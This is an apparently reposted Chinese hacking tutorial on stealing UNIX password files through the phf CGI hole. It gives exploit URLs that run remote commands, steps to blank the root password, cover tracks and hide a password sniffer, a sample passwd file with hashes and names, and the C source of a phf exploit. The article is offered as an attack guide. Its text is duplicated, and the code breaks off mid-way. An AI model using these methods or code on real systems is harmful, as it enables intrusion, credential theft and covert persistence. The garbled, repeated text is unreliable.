从UNIX系统获取密码档(一)
互联网 发布时间:2008-10-08 19:04:37 作者:佚名
我要评论
目录:
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整
目录:
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与
shadow密码档的区别,并学习到如何读取shadow密码档。
--------------------------------
PHF:WWW的PH查询
如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就
可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如
/etc/passwd等,并保存在本地机上。
以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我
们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。
这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,
并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动
从/etc目录下读取passwd档,并保存为domain.???.passwd文件。
我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,
你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。
OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。
把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。
在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会
出现以下内容(译者注:以lynx为例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x id
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x id
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
返回如下内容:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody
用户。虽然我们还不是root用户,但必将是。 ;-)
命令行:
http://afp.org/cgi-bin/phf/?Qalias=x id
id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x /usr/bin/id
注意 后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常
要用到的几个命令行:(以 开始)
显示passwd密码档:
/bin/cat /etc/passwd
获取/etc目录下所有以pass开始的详细文件列表:
ls -al /etc/pass*
如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:
cp /etc/passwd /etc/passwd.my
更改root用户密码(服务器往往会允许你这样做 ;-) ):
passwd root
(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户
的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复
root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来
作为嗅探器(sniffer)来获取所需的密码了。)
只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇
到什么困难!
OK。现在让我们来获取本例中的passwd档吧。;-)
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x cat /etc/passwd
我们将会看到:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
(一个小小的密码档 ;-) )
如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存
为文件”即可。
现在让我们了解一下paaswd档的结构:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字
6=用户根目录 7=shell
好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, " "); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);
free(command);
write(s, exploit, strlen(exploit));
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与
shadow密码档的区别,并学习到如何读取shadow密码档。
--------------------------------
PHF:WWW的PH查询
如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就
可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如
/etc/passwd等,并保存在本地机上。
以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我
们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。
这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,
并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动
从/etc目录下读取passwd档,并保存为domain.???.passwd文件。
我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,
你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。
OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。
把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。
在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会
出现以下内容(译者注:以lynx为例):
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x id
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x id
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
返回如下内容:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody
用户。虽然我们还不是root用户,但必将是。 ;-)
命令行:
http://afp.org/cgi-bin/phf/?Qalias=x id
id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x /usr/bin/id
注意 后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常
要用到的几个命令行:(以 开始)
显示passwd密码档:
/bin/cat /etc/passwd
获取/etc目录下所有以pass开始的详细文件列表:
ls -al /etc/pass*
如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:
cp /etc/passwd /etc/passwd.my
更改root用户密码(服务器往往会允许你这样做 ;-) ):
passwd root
(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户
的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复
root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来
作为嗅探器(sniffer)来获取所需的密码了。)
只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇
到什么困难!
OK。现在让我们来获取本例中的passwd档吧。;-)
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x cat /etc/passwd
我们将会看到:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
(一个小小的密码档 ;-) )
如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存
为文件”即可。
现在让我们了解一下paaswd档的结构:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字
6=用户根目录 7=shell
好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, " "); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);
free(command);
write(s, exploit, strlen(exploit));
相关文章
- “CMOS密码”就是通常所说的“开机密码”,主要是为了防止别人使用自已的计算机,设置的一个屏障2023-08-01

QQScreenShot之逆向并提取QQ截图--OCR和其他功能
上一篇文章逆向并提取QQ截图没有提取OCR功能, 再次逆向我发现是可以本地调用QQ的OCR的,但翻译按钮确实没啥用, 于是Patch了翻译按钮事件, 改为了将截图用百度以图搜图搜索.2023-02-04
QQ截图是我用过的最好用的截图工具, 由于基本不在电脑上登QQ了, 于是就想将其提取出独立版目前除了屏幕录制功能其他都逆出来了, 在此分享一下2023-02-04
非系统分区使用BitLocker加密导致软件无法安装的解决方法
很多电脑用户在考虑自己电脑磁盘分区安全时会采用 Windows 自带的 BitLocker 加密工具对电脑磁盘分区进行加密。但有些人加密后就会忘记自己设置的密码从而导致在安装其它软2020-11-25
防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生
这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-06-27
彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举
近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,2017-06-27- 最近有电脑用户反应量子计算机可以破解下载的所有的加密算法吗?其实也不是不可以,下面虚拟就为大家讲解买台量子计算机,如何分分钟破解加密算法2016-09-26
怎么破解Webshell密码 Burpsuite破解Webshell密码图文教程
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,一种网页后门。黑客通常会通过它控制别人网络服务器,那么怎么破解webshell密码呢?一起来看看吧2016-09-19- 本文讨论了针对Linux系统全盘加密的冷启动攻击,大家都认为这种攻击是可行的,但执行这么一次攻击有多难?攻击的可行性有多少呢?需要的朋友可以参考下2015-12-28
防止泄露公司机密、企业数据防泄密软件排名、电脑文件加密软件排行
面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较2015-12-17







最新评论